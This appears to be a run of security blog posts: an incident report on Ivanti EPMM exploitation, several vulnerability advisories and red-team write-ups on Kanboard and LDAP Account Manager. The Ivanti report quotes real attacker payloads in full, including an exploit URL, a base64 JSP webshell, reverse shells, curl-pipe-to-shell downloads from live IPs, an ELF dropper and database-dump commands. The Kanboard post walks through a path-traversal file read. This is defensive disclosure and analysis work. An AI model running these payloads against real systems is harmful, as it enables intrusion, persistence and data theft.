2026-04-22: PackageKit patch release and public disclosure through oss-security mailing list and this blog post.
2026-04-22: Got CVE-2026-41651 assigned
2026-04-23: Public exploit available on GitHub
2026-04-29: Updated blog article with technical details and propose for workaround

Advisories

GitHub Security Advisory GHSA-f55j-vvr9-69xv
CVE-2026-41651

The images in this article are free to use, as long as a reference to this blog post is provided. A SVG version of the Pack2TheRoot Logo is also available.

Mass exploitation of CVE-2026-1281 and CVE-2026-1340 in Ivanti EPMM

2026-03-03T00:00:00+00:00

In early 2026, two critical zero-day vulnerabilities in Ivanti’s mobile device management platform - CVE-2026-1281 and CVE-2026-1340 - emerged as significant drivers of incident activity across multiple sectors. Both flaws, rated CVSS 9.8 (critical), allow unauthenticated remote code execution, enabling attackers to compromise Ivanti Endpoint Manager Mobile (EPMM) appliances and potentially pivot into broader enterprise environments. These vulnerabilities were disclosed by Ivanti on January 29, 2026, alongside emergency mitigation guidance.

The German Federal Office for Information Security (BSI) subsequently issued a warning highlighting widespread exploitation of these issues in the wild and urging operators to assess and respond to potential compromises using updated detection scripts and indicators of compromise.

Last week, our Incident Response team was engaged in multiple incidents involving active exploitation of these vulnerabilities across different customer environments. In several cases, threat actors had already established persistence and initiated post-exploitation activities.

This post consolidates key findings derived from our incident response engagements related to CVE-2026-1281 and CVE-2026-1340. It provides insights into observed attacker tradecraft and initial access patterns. Since the initial vulnerability disclosure, a saturated threat landscape has evolved. Multiple threat actors / botnets have since established persistence, creating a high level of background noise. Therefore we’re avoiding attribution and detailed analysis and instead focus on documentation about our findings.

How the exploit works

Both CVE-2026-1281 and CVE-2026-1340 are critical pre-authentication Remote Command Execution (RCE) vulnerabilities with a CVSS score of 9.8. The vulnerabilities used in ongoing exploitation campaigns are caused by unsafe handling of attacker-controlled input in a server-side Bash script. In plain terms: an internet-exposed EPMM web endpoint forwards parts of an incoming request into a script, and due to a shell-evaluation bug, that input can be interpreted as code — so the device ends up running commands the attacker chooses.

The vulnerable bash scripts are /mi/bin/map-appstore-url and /mi/bin/map-aft-store-url. Both are called when specific HTTP endpoints are requested. As Watchtowr described in a blog post, a vulnerable HTTP endpoint corresponds to the pattern: /mifs/c/appstore/fob/3/<int>/sha256:<something1>/<something2>.ipa. For example, a working exploit request looks like this:

/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue  ,
et=1337133713,h=gPath[`sleep 5`]/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa

The parameters st, and h are not chosen arbitrarily, but are crafted specifically for exploitation. The exact mechanism how the exploit works is described in depth by Watchtowr. For now, the key takeaways are:

The value of the st argument corresponds to an existing variable name in the bash script. Specifically, theValue holds the value of the last argument passed to the bash script. Furthermore, gPath also corresponds to an existing variable in the bash script, though its value does not matter for the exploit to work.
The key detail of the exploit is that at some point in the vulnerable bash script, the value theValue is evaluated as a bash expression. For the above example, this means that gPath[`sleep 5`] is evaluated, causing bash to execute the inner command sleep 5 in an attempt to calculate an array index that can be used to access gPath. Since the inner command is provided by the attacker, this results in arbitrary command execution.

None of the above steps require authentication. This means that the vulnerability can be exploited by anyone who is able to connect to vulnerable appliances, for example via the internet. Moreover, following release of example exploit requests, threat actors rapidly adopted the exploit in various malicious activities.

What we observed

During our investigation across multiple Ivanti EPMM environments, we identified consistent exploitation attempts targeting CVE-2026-1281 and CVE-2026-1340. The observed activity aligns with publicly reported in-the-wild exploitation and demonstrates behavior ranging from opportunistic scanning and remote code execution (RCE) validation to advanced post-exploitation actions.

1. Initial Exploitation and RCE Validation

We observed HTTP requests targeting known vulnerable endpoints associated with the Apache RewriteMap bash injection flaw. Payloads were embedded directly within GET parameters, consistent with command injection exploitation patterns.

The injected commands were primarily designed to validate successful remote code execution. Commonly observed commands included:

id
whoami
hostname
passwd
wget
ps
echo-based output redirection
sleep and true for timing and execution control
rm commands for cleanup of temporary artifacts

In several cases, command output was redirected into web-accessible paths under the Tomcat webroot, including:

/mi/.../webapps/mifs/403.jsp
/mi/.../webapps/mifs/401.jsp
/mi/.../webapps/mifs/css/*.css

The redirection of command output into web-accessible directories indicates that command execution was successful rather than limited to reconnaissance scanning.

DNS-based validation activity was also observed. Repeated execution of dig commands targeting attacker-controlled domains suggests OAST-style callback validation of command execution. These DNS lookups were often executed multiple times in short intervals.

2. Webshell Deployment Activity

Multiple indicators were identified that are consistent with JSP webshell deployment in Tomcat web application directories.

A recurring marker string was identified:

class U extends ClassLoader

This string is commonly associated with an in-memory Java class loader webshell. Observed behavior indicates that attackers first checked for the presence of this string within 403.jsp. If absent, Base64-decoded content was appended to the file.

Associated commands included:

grep -q "class U extends ClassLoader" /mi/tomcat/webapps/mifs/403.jsp
base64 -d >> /mi/tomcat/webapps/mifs/403.jsp
id > /mi/tomcat/webapps/mifs/403.jsp
xxd -r -p .1 > /mi/tomcat/webapps/mifs/401.jsp

The use of xxd suggests hex-encoded payload staging followed by reconstruction into a JSP file. This indicates deliberate effort to obfuscate payload delivery.

We also observed permission-related commands such as:

chmod +s /usr/bin/env

Indicators point to 403.jsp being used as a webshell location:

Attempted permission manipulation / privilege-related command:
- chmod +s /bin/sh > /mi/tomcat/webapps/mifs/403.jsp
Additionally, we observed an explicit attacker “webshell check + deploy” logic
- Webshell check / conditional append:

if grep -q "class U extends ClassLoader" "/mi/tomcat/webapps/mifs/403.jsp"; 
then echo 1; else echo -n 
PCUhIGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlciB7IFUoQ2xhc3NMb2FkZXIgYykgeyBzdXBlcihjKTsgfSBwdWJsaWM
gQ2xhc3MgZyhieXRlW10gYikgeyByZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwgMCwgYi5sZW5ndGgpOyB9fSBwdWJsaW
MgYnl0ZVtdIHAoU3RyaW5nIG8pIHRocm93cyBFeGNlcHRpb24geyB0cnkgeyBDbGFzcyBqID0gQ2xhc3MuZm9yTmFtZSgic
3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOyByZXR1cm4gKGJ5dGVbXSkgai5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIFN0
cmluZy5jbGFzcykuaW52b2tlKGoubmV3SW5zdGFuY2UoKSwgbyk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7IENsYXNzIGo
gPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7IE9iamVjdCB0ID0gai5nZXRNZXRob2QoImdldERlY29kZX
IiKS5pbnZva2UobnVsbCk7IHJldHVybiAoYnl0ZVtdKSB0LmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBTdHJpb
mcuY2xhc3MpLmludm9rZSh0LCBvKTsgfX0gJT48JSAgU3RyaW5nIGwgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiayIpOyBp
ZiAobCAhPSBudWxsKSB7IG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKHAobCkpLm5ld0luc3R
hbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTsgfSAlPgo= | base64 -d >> /mi/tomcat/webapps/mifs/403.jsp ; 
chmod +s /usr/bin/env; fi`]/f099583e-9702-4812-b5b5-221d3f3ce33e.ipa

This logic indicates:

The attacker checks whether a specific Java in-memory loader pattern is already present (class U extends ClassLoader)
If not present, the attacker appends Base64-decoded content into 403.jsp
The attacker then attempts to change permissions (chmod +s /usr/bin/env) as a potential privilege-related action

Webshell 403.jsp:

< % !class U extends ClassLoader {
    U(ClassLoader c) {
        super(c);
    }
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
}
public byte[] p(String o) throws Exception {
    try {
        Class j = Class.forName("sun.misc.BASE64Decoder");
        return (byte[]) j.getMethod("decodeBuffer", String.class).invoke(j.newInstance(), o);
    } catch (Exception e) {
        Class j = Class.forName("java.util.Base64");
        Object t = j.getMethod("getDecoder").invoke(null);
        return (byte[]) t.getClass().getMethod("decode", String.class).invoke(t, o);
    }
} % > < % String l = request.getParameter("k");
if (l != null) {
    new U(this.getClass().getClassLoader()).g(p(l)).newInstance().equals(pageContext);
} % >

The observed backdoors correspond to the 403.jsp described by Defused and 401.jsp described by Palo Alto.

3. Reverse Shell and Interactive Access Attempts

Multiple reverse shell payloads were delivered through command injection. Observed techniques included:

bash -i >& /dev/tcp/<ip>/443 0>&1
/bin/sh -i >& /dev/tcp/<ip>/443 0>&1

Python-based reverse shell using socket connections

export RHOST="86.106.143[.]200";export RPORT=443;python3 -c "import sys,socket,os,pty;
s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]"

nc and ncat interactive shell attempts

4. Payload Retrieval and Tool Deployment

We identified chained command execution used to download and execute remote scripts, including:

curl -fsSL http://45.76.28[.]252:8083/update.sh | sh
wget http://45.76.28[.]252:8083/update.sh -O - | sh

Additionally, we observed telnet-over-curl execution patterns:

curl -Ns telnet://217.148.142[.]48:443 | sh

These command chains are indicative of second-stage payload deployment and remote command execution frameworks.

In one instance, Logs show an echo command used to write/drop the Base64-decoded ELF binary malware payload with hash: 2e29ad27b64874bfcb0c926fa324465243844ca8d36ab2db9ab79cf4d787b513

echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAA
AAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAA
A+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIh
cB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgABu9mUjjBRSInmahBaaipYDwV
ZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FS
IXAeO3/5g== | base64 --decode > sysd && chmod +x sysd && ./sysd

That echo write event was observed across the message log, HTTP request log and access log. Short analysis of this compact malware shows file read/write + dropped files and outbound contact to 217.148.142[.]48, aligning with post-dropper / C2-style behavior.

5. Database Access and Data Collection Attempts

Explicit database export commands targeting Ivanti-related tables were identified:

mysqldump --databases mifs --tables mi_user mifs_ldap_users mifs_ldap_server_config mi_device 
mi_app_setting_entry eas_proxy mi_password_history > /var/www/ext/html/tmp

The targeted tables include user accounts, LDAP configurations, device information, application settings, proxy configuration, and password history. This suggests potential credential harvesting or configuration exfiltration objectives.

Archiving activity was also identified:

tar -czvf /var/www/ext/html/tmpno /mi/files/system

This behavior is consistent with staging system data for potential exfiltration.

6. Webroot Write Validation and Staging

Multiple write tests targeting static asset directories were identified, including:

echo ok1 > /mi/.../webapps/mifs/css/app.css
(id; hostname) > /mi/.../css/bootstrap/1o465S.css
echo ".float-left" > /mi/.../webapps/mifs/css/login.css

Temporary files were created and subsequently removed:

touch /tmp/test files
rm .1
rm staged CSS files

This pattern indicates validation of write capability followed by cleanup to reduce forensic footprint.

7. Observed Activity Patterns

Across the analyzed environments, we observed recurring activity patterns that align with publicly documented exploitation techniques for CVE-2026-1281 and CVE-2026-1340. The activities can be grouped into the following behavioral categories:

Remote Code Execution Validation
Webroot Write Validation
Webshell deployment attempts (401.jsp / 403.jsp).
Reverse shell establishment attempts over TCP/443.
Retrieval and execution of secondary payloads via curl/wget.
Database export attempts and potential data staging.
Cleanup commands and anti-forensic behavior.

What others report

Palo Alto: Critical Vulnerabilities in Ivanti EPMM Exploited

Researchers from Palo Alto reported that exploitation of CVE-2026-1281 and CVE-2026-1340 has been observed across various sectors in the United States, Germany, Australia, and Canada, including state and local government, healthcare, manufacturing, professional and legal services, and high technology. Threat actors are rapidly moving from initial reconnaissance to deploying dormant backdoors to maintain long-term access even after organizations apply patches, indicating a sophisticated and persistent threat.

Specifically, Palo Alto Unit 42 has observed widespread and mostly automated exploitation attempts, including establishing reverse shells, installing web shells, conducting reconnaissance, and downloading malware. Attackers have been observed downloading a Nezha monitoring agent, an open-source server monitoring utility, with specific parameters to fetch from Gitee if the victim’s location is China. Reconnaissance attempts involve injecting “sleep” commands to determine server vulnerability, with a 5-second delay indicating successful RCE. Threat actors attempt to install lightweight JSP web shells (e.g., 401.jsp, 403.jsp, 1.jsp), which can grant administrative control if the web server runs as root.

Observed exploitation attempts include downloading a second-stage payload (the /slt script) to install web shells, cryptominers, or persistent backdoors. Indicators of Compromise (IOCs) include various IP addresses, subdomains (e.g., gobygo[.]net, introo[.]sh, ngrok-free[.]app), and specific file paths for web shells (e.g., /mi/tomcat/webapps/mifs/401.jsp).

Defused: Sleeper Shells: How Attackers Are Planting Dormant Backdoors in Ivanti EPMM

A blog post published by Defused also mentioned the deployment of web shell under the path /mifs/403.jsp. In this case, the payload contained Base64-encoded Java bytecode and worked as an in-memory class loader. To trigger the backdoor function, a specific HTTP header k0f53cf964d387 needs to be passed with the request, which will lead to the decoding and in-memory execution of the malicious payload.

Watchtowr: Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 & CVE-2026-1340)

Watchtowr published a technical deep-dive into the two vulnerabilities, which stem from improper handling of attacker-controlled input within Bash scripts used by Ivanti EPMM, specifically through arithmetic expansion in the map-appstore-url script. The temporary RPM patches modify Apache HTTPd configurations to replace vulnerable Bash scripts with newly compiled Java classes, specifically AFTUrlMapper.java and AppStoreUrlMapper.java.

The vulnerable Bash scripts, map-appstore-url and map-aft-store-url, were previously invoked by Apache RewriteMap instances. The map-appstore-url script processes parameters from the URL path, including kid, st, et, and h, which are then used in Bash arithmetic expansions. The specific exploitation vector involves injecting a command substitution into the h parameter, which is subsequently referenced by gStartTime during an arithmetic expansion, leading to command execution. The st parameter in the exploit payload requires two padding spaces to bypass a string length validation check.

Ivanti EPMM: Aktive Angriffe über Zero-Day Schwachstellen beobachtet

The German Federal Office for Information Security (BSI) also warned about the two vulnerabilities and noted that active exploitation of the CVEs could have occured since at least summer 2025, with further exploitation by other cyber actors noted shortly after public disclosure on January 29, 2026. BSI also remarked that successful exploitation of these vulnerabilities can lead to the exfiltration of sensitive information, including personal data, device and location data, credentials, and cryptographic keys, as well as potential lateral movement within the connected network.

BSI has confirmed that German organizations have been targeted by attackers exploiting these vulnerabilities, with the Shadowserver Foundation detecting over 20 compromised organizations in Germany alone. Compromised Ivanti EPMM appliances, including those that have reached End-of-Life (EoL), are likely to have been exploited, and operators should assume compromise even if they patched on the day of disclosure.

Attackers have been observed deploying malicious files, such as webshells, in the root, /tmp, and /var/tmp directories, often with one or two-digit filenames and compressed with 7z/LZMA2 algorithms. A persistent webshell was established by attackers using the file favicon.png located at /var/www/ext/html/favicon.png. Observed post-exploitation activities include the use of specific IP addresses (e.g., 161.129.60[.]118, 151.177.78[.]0, 185.212.171[.]137, 185.212.171[.]151, 185.212.171[.]134, 185.212.171[.]156) and a faulty User-Agent Edg/143.0.0.1.

BSI recommends that organizations monitor their entire network for suspicious data traffic or login attempts, not just systems directly connected to Ivanti EPMM, due to potential data exfiltration and lateral movement. BSI has rated the criticality of these vulnerabilities as 3/Orange, indicating that immediate action is required due to the potential for massive disruption to regular operations.

Recommendations

Organizations operating affected Ivanti EPMM instances should immediately apply the latest vendor patches if this has not already been done. Given confirmed in-the-wild exploitation and the likelihood of pre-patch compromise, organizations that updated their systems only after public disclosure should strongly consider conducting a structured compromise assessment.

Guidance and technical indicators published by the German Federal Office for Information Security (BSI), as well as the detection script jointly provided by NCSC-NL and Ivanti, offer a valuable foundation for identifying potential indicators of compromise and validating system integrity.

For organizations that require additional expertise or independent validation, Telekom Security can support organizations with tailored compromise assessments, threat hunting activities, and incident response services to ensure potential persistence mechanisms or lateral movement activities are identified and contained.

IOCs

IOCs can be found here.

Security Content for REDAXO

2025-11-25T00:00:00+00:00

A reflected Cross-Site Scripting vulnerability (CVE-2025-66026) has been identified in the REDAXO Mediapool component. The issue allows arbitrary JavaScript execution in the backend when a user visits a specially crafted link while authenticated.

Details

Product: REDAXO CMS
Affected Version: <= 5.20.0
Fixed Version: 5.20.1
Vulnerability Type: Reflected Cross-Site Scripting (CWE-79)
Risk Level: Moderate
Vendor URL: https://redaxo.org/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2025-66026

Technical Summary

In the Mediapool view, the request parameter args[types] is injected into an information banner without proper HTML escaping.

Impact

This vulnerability enables JavaScript execution in the backend context of an authenticated user, potentially allowing session hijacking and unauthorized administrative actions.

References

Github Advisory

Timeline

2025-11-11: Vulnerability reported to the vendor via GitHub.
2025-11-25: The vendor has published the GitHub advisory and released the fixed version.
2025-11-25: This blog post was published.

Credits

Holger Fuhrmannek (holger.fuhrmannek@telekom.de)

Multiple vulnerabilities in Janitza UMG 96RM-E

2025-11-04T00:00:00+00:00

Several vulnerabilities were discovered during testing of a Janitza UMG 96RM-E device.

Details

Product: UMG 96RM-E (both 24V and 230V versions)
Affected Version: firmware versions below 3.14
Vulnerability Type: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) (CWE-78), Use of Hard-coded Credentials (CWE-798), Use of a Broken or Risky Cryptographic Algorithm (CWE-327) and Incorrect Permission Assignment for Critical Resource (CWE-732)
Risk Level: Critical
Vendor URL: https://www.janitza.com/
Vendor acknowledged vulnerability: Yes
Vendor Status: Updated firmware available
CVEs: CVE-2025-41709, CVE-2025-41710, CVE-2025-41711, CVE-2025-41712

The vulnerabilities were discovered during testing a device of type UMG 96RM-E. These vulnerabilities in combination allow an unauthenticated remote attacker to fully compromise the system including remote code execution.

It is strongly advised to update to the newest version. The vulnerabilities are fixed in version 3.14. In addition, such devices shall be operated in a closed network protected by a suitable firewall. Network access to the device should be limited to only enable necessary components to access it and protocols not necessary for the operation should be blocked.

CVE-2025-41709: Command injection via Modbus

A high privileged remote attacker can perform a command injection via Modbus to gain read and write access on the affected device. This vulnerability has a CVSSv3.1 Base Score of 9.8 and is rated CRITICAL.

CVE-2025-41710: Use of Hard-coded Credentials

An unauthenticated remote attacker may use hardcoded credentials to get access to the previously activated FTP Server with limited write privileges. This vulnerability has a CVSSv3.1 Base Score of 5.3 and is rated MEDIUM.

CVE-2025-41711: Use of firmware images to extract password hashes and brute force plaintext passwords

An unauthenticated remote attacker can use firmware images to extract password hashes and brute force plaintext passwords of accounts with limited access. This vulnerability has a CVSSv3.1 Base Score of 5.3 and is rated MEDIUM.

CVE-2025-41712: Incorrect Permission Assignment on the device

An unauthenticated remote attacker who tricks a user to upload a manipulated HTML file can get access to sensitive information on the device. This is a result of incorrect permission assignment for the web server. This vulnerability has a CVSSv3.1 Base Score of 6.5 and is rated MEDIUM.

References

Credits

Pascal Dengler (pascal.dengler@telekom.de)
Jan Stohner (jan.stohner@telekom.de)

Multiple vulnerabilities in Kanboard (Exploiting web applications Part II)

2025-06-03T00:00:00+00:00

This article is a continuation of a write-up series, where we discuss web application vulnerabilities found during red team operations. This time, the target was the Kanboard software.

Project Management in Kanboard style

With over 8000 stars on GitHub, Kanboard is one of the most popular applications for organizing projects following the Kanban approach.

During one of our red team assessments, we discovered that our client self-hosts an instance of Kanboard. Since it is open-source, we decided to hunt for vulnerabilities by reading the source code and penetration testing in parallel.

So, it all started with a git clone. We used the ack tool as an in place grep replacement, which helped us find interesting code sections. Browsing through the code leaves the first impression that it is well structured and cleanly written.

Initial access and juicy features

But first, let’s switch to the customer instance again - not having said yet that the good old admin:admin credential set helped us out once again :) We could successfully authenticate as the administrator and thus open us various possibilities to potentially exploit application functionalities.

Having administrative access to the Kanboard instance also gives us lots of interesting information about the target’s project details including network and system configurations. But can we abuse the server? We browse through different projects, boards, comments, item details and uploaded attachments.

One interesting feature of Kanboard is allowing administrators to download the complete SQLite database as a gzip file or upload it to update the database. So we did this: a surprise backup of our target instance. We decompress the downloaded file by executing gzip -d db.sqlite.gz and open it with an SQLite browser.

We can see the raw data of projects, comments, etc. Especially the project_has_files table holds our attention, as it stores relative file paths of uploaded files. So we switched to the source code repository and looked through the source code, to determine how the the filepaths are read and used within the application.

Write and delete files - but what about reading them?

In the web UI, we see that uploaded files can be downloaded through URLs like this: https://example.com/project/1/file/1/download/<hash>. So searching through the code base for /download points us to the underlying PHP class that is responsible for serving files: the FileViewerController.

$ ack "/download"
ServiceProvider/RouteProvider.php
77:  $container['route']->addRoute('project/:project_id/file/:file_id/download/:etag', 'FileViewerController', 'download');
148: $container['route']->addRoute('task/:task_id/file/:file_id/download/:etag', 'FileViewerController', 'download');

The below download() function of the FileViewerController.php looks very simple. But what exactly do $this->getFile(); and $this->objectStorage->output($file['path']); do?

public function download()
{
    try {
        $file = $this->getFile();
        $this->response->withFileDownload($file['name']);
        $this->response->send();
        $this->objectStorage->output($file['path']);
    } catch (ObjectStorageException $e) {
        $this->logger->error($e->getMessage());
    }
}

$this->getFile() is a call to the super class of BaseController.

protected function getFile()
{
    $project_id = $this->request->getIntegerParam('project_id');
    $task_id = $this->request->getIntegerParam('task_id');
    $file_id = $this->request->getIntegerParam('file_id');
    
    [...]
}

We see that this function parses the project_id and file_id parameter values that we already saw in the route definition of download URLs. The function essentially parses the two values from the URL, performs a SQL select on the attachments and returns an array with the data, collected from the SQL entry. No path sanitization that we can see so far!

So lets check the output() function of the objectStorage, which is defined in FileStorage.php.

public function output($key)
{
    $filename = $this->path.DIRECTORY_SEPARATOR.$key;

    if (! file_exists($filename)) {
        throw new ObjectStorageException('File not found: '.$filename);
    }

    readfile($filename);
}

The function retrieves the $key parameter, which in this case is a relative path from the SQLite database, checks the file’s existence and returns its content. No checks - this smells like a arbitrary file read if we are able to modify the path successfully.

Since we are certain that the application is vulnerable to an arbitrary file read, we immediately test it out:

We download the database
Decompress it via gzip -d db.sqlite.gz
Open it in a SQL browser and go to table project_has_files.
For one of the already uploaded files, we modify the path to something we want to read ../../../../../../../etc/passwd
Commit our SQL changes and save the file
Compress it again with gzip db.sqlite
Upload it to the server
Download the modified file via the web ui

And what we get is:

Hurray! We are able to read arbitrary files from the server - further a “referenced” file can be deleted (if Kanboard has sufficient permissions) via the web ui. This vulnerability has been assigned CVE-2024-51747 - reported via GHSA-78pf-vg56-5p8v.

code `exec`

File reads are nice - but we prefer to have code execution on the target. So we still decided to look deeper. When reviewing PHP code it’s always a good start to check for the known dangerous php functions assembled in this great collection.

$ ack -i "system\s*\(" --php
ServiceProvider/LoggingProvider.php
42:  $driver = new System();
$ ack -i "shell_exec\s*\(" --php

Unfortunately, we have no results except false positives in our source code, when we grepped for command execution functions.

However, one result with a require statement looks interesting.

$ ack -i "require\s*\(" --php
app/Core/Translator.php
176:            self::$locales = array_merge(self::$locales, require($filename));

require is a PHP language statement to include other files, which leads directly to RCE, if the file is controllable. Having a $filename variable - that could be controllable by us - looks interesting. Let’s see where $filename comes from and which value it has. It is defined in Translator.php in the load() function.

public static function load($language, $path = '')
{
    if ($path === '') {
        $path = self::getDefaultFolder();
    }

    $filename = implode(DIRECTORY_SEPARATOR, array($path, $language, 'translations.php'));

    if (file_exists($filename)) {
        self::$locales = array_merge(self::$locales, require($filename));
    }
}

The load() function seems to be called from LanguageModel.php.

$ ack -i "load\s*\(" --php
Model/LanguageModel.php
214:    Translator::load($this->getCurrentLanguage());

And it depends on getCurrentLanguage() from the same class.

public function getCurrentLanguage()
{
    return $this->userSession->getLanguage() ?: $this->configModel->get('application_language', 'en_US');
}

/**
 * Load translations for the current language
 *
 * @access public
 */
public function loadCurrentLanguage()
{
    Translator::load($this->getCurrentLanguage());
}

Do you spot something fishy? Maybe not, since we haven’t explained it yet - but $this->configModel->get('application_language', 'en_US'); reads a configuration value from the SQLite settings table. In particular, it reads the application_language entry or defaults to en_US. Since we already inspected all further handling of the the application_language value we can conclude that this fields leads to a constrained RCE on the server!

If we set application_language to an arbitrary path via path traversal, the value will be used to construct the $filename path, which we saw before. However, at the end of the path, the code adds a translations.php. Meaning, if we are able to write a translations.php file anywhere on the server, where Kanboard can read it and modify the SQLite database accordingly, then we achieve code execution because Kanboard includes this file.

We tried to abuse this, by uploading a translations.php file via Kanboard’s file attachments function, but the files are not saved with their original filename, but with a hash instead. This leaves us unlucky to abuse it all-at-once :S

This vulnerability has been assigned CVE-2024-51748 - reported via GHSA-jvff-x577-j95p.

Last but not least, after reporting all vulnerabilities we noticed on retesting that we are still logged in in our testing instance after multiple days. How can this be?

It turns out that the session invalidation was not working properly, thus keeping sessions alive for an indefinite time. This vulnerability has been assigned CVE-2024-55603 - reported via GHSA-gv5c-8pxr-p484 with additional details.

These findings once again show the danger of default credentials, giving initial access, which than can be used to exploit a system. Also it shows, that even configuration data cannot be trusted - user controllable input must be properly sanitized in all cases.

Timeline:

2024-10-31: Vulnerability CVE-2024-51747 and CVE-2024-51748 has been reported to the vendor.
2024-11-03: Vendor has reported that the vulnerabilities will be fixed in next release.
2024-11-10: Kanboard 1.2.42 has been released with both fixes.
2024-11-18: Vulnerability CVE-2024-55603 has been reported to the vendor.
2024-12-08: Vendor has reported that the vulnerability will be fixed in next release.
2024-12-18: Kanboard 1.2.43 has been released with the fix.
2025-05-08: This blog post was published.

Rasa (un)authenticated Remote Code Execution via remote model loading (CVE-2024-49375)

2025-04-01T00:00:00+00:00

During an internal penetration test a product was checked which uses Rasa to build a conversational AI. A mixture of penetration testing and source code analysis led to the discovery of an (un)authenticated Remote Code Execution.

TL;DR

Which versions are affected?

rasa (pip) <3.6.21
rasa-pro (pip) <3.10.12, <3.9.16, <3.8.18

Are fixed versions available?
Yes, namely:

rasa (pip) 3.6.21
rasa-pro (pip) 3.10.12, 3.9.16, 3.8.18

Does Rasa need to be patched?
Yes and as fast as possible due to its severity (critical, 9.1/10, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H). Additional information on the fix and the mitigation advice can be found at GitHub.

The RCE vulnerability affects systems running Rasa as follows:

Default configuration: not affected by RCE
HTTP API enabled (--enable-api): affected
- No authentication method in use: unauthenticated RCE
- Token Based Auth: authenticated RCE
- JWT Based Auth: authenticated RCE

Is an exploit available?
Yes, the exploit can be found at the end of the full advisory and here.

Links:
https://github.com/RasaHQ/rasa-pro-security-advisories/security/advisories/GHSA-cpv4-ggrr-7j9v
https://nvd.nist.gov/vuln/detail/cve-2024-49375

Credits
Julian Scheid (julian.scheid@telekom.de)

Technical deep dive

For those interested in taking a technical deep dive in how the vulnerability was discovered and how the exploit has been developed, reading the full advisory is highly recommended.

View the full advisory

Multiple critical vulnerabilities in SICK DL100-2xxxxxxx Products

2025-03-14T00:00:00+00:00

Several vulnerabilities were discovered during testing of a DL100 device.

Details

Product: SICK DL100-2xxxxxxx
Affected Version: all firmware versions
Vulnerability Type: Download of Code Without Integrity Check (CWE-494), Cleartext Transmission of Sensitive Information (CWE-319) and Use of Weak Hash (CWE-328)
Risk Level: Critical
Vendor URL: https://www.sick.com/de/de/
Vendor acknowledged vulnerability: Yes
Vendor Status: Known Affected / Workaround
CVEs: CVE-2025-27593, CVE-2025-27594, CVE-2025-27595

The vulnerabilities were discovered during testing a device of type DL100.

CVE-2025-27593: Download of Code Without Integrity Check

The product can be used to distribute malicious code using SDD Device Drivers due to missing download verification checks leading to code execution on target systems.

CVE-2025-27594: Cleartext Transmission of Sensitive Information

The device uses an unencrypted, proprietary protocol for communication, authentication and transmission of configuration data. An attacker can thereby intercept the authentication hash and use it to log into the device using a pass-the-hash attack.

CVE-2025-27595: Use of Weak Hash

The device uses a weak hashing algorithm to create the password hash. Hence, a matching password can be easily calculated by an attacker. This impacts the security and the integrity of the device.

References

Timeline

07.01.2025: Vulnerability reported to the vendor.
31.01.2025: Vendor confirmed vulnerabilities.
14.03.2025: Vendor published a Security Advisory with a workaround.
14.03.2025: This blog post was published.

Credits

Leonard Lewedei (leonard.lewedei@telekom.de)

Remote code execution in LDAP Account manager through CVE-2024-23333 (Exploiting web applications Part I)

2025-01-14T00:00:00+00:00

During red teaming engagements, the first step is to gain a foothold in the client’s network. That might happen through a phishing attempt, malicious payloads, physical access to the client’s site or an assumed breach. But what happens once you got access to the network? With the goal to overtake the company by gaining domain dominance in mind, you need to move step-by-step. So, during one engagement, we were at this point. We had gained initial access, could poke around in the client’s network but did not yet have any domain credentials which we could abuse for our attack. We were carefully looking around in the customer’s network, trying to get ourselves onto a server, in the hope of it being domain-joined and being able to extract valid domain credentials. As we were poking around, we stumbled across a webserver that had an application called LDAP Account Manager (LAM) running.

This blog post describes the path of identifying, understanding and exploiting a remote code execution (RCE) vulnerability in LAM.

Identify a potential vulnerability

LAM is an open-source application that helps with managing LDAP entries. At this point, there were no publicly known vulnerabilities that one could exploit for gaining remote code execution on the server. So we did our own research.

On the main screen of LAM’s landing page, there is menu item called “configuration”, which sounded interesting.

It seems to allow the modification of various settings.

However, a master password is required.

A quick Google search revealed that the default master password is lam, as the vendor describes in the documentation.

Success! No one changed the default password. We see this often in red teaming engagements—that default passwords work for all kinds of applications: printers, web applications, settings, etc. A strong-willed attacker will use the slightest indication of success to penetrate a system. Therefore, everything will be exploited. We strongly recommend that you change your default login credentials to avoid giving attackers a target.

With access to the configuration panel, we looked through the various options and stumbled across the logging feature. Log data can be saved to an arbitrary filepath, which releases the smell of log poisoning in the air - let’s give it a try.

Our idea for gaining remote code execution (RCE) was the following:

Create a log file within the web root, using a .php extension so that the web server directs it to the PHP interpreter.
Identify an input value that can be controlled and saved in this log file to inject PHP code.
Access the log file via the web server to execute remote code (RCE).

Source code analysis

When exploiting vulnerabilities, it is a good idea to have a look at and to understand the source code (if accessible). It can only make it easier to perform the exploitation, and it helps to see if there are any constraints or side-effects from the exploitation. Also, when studying the source code, you may find even more vulnerabilities or bugs that could be chained together.

So, we have a look in the source code in the file templates/config/mainmanage.php, since this is what we see in our browser’s address bar.

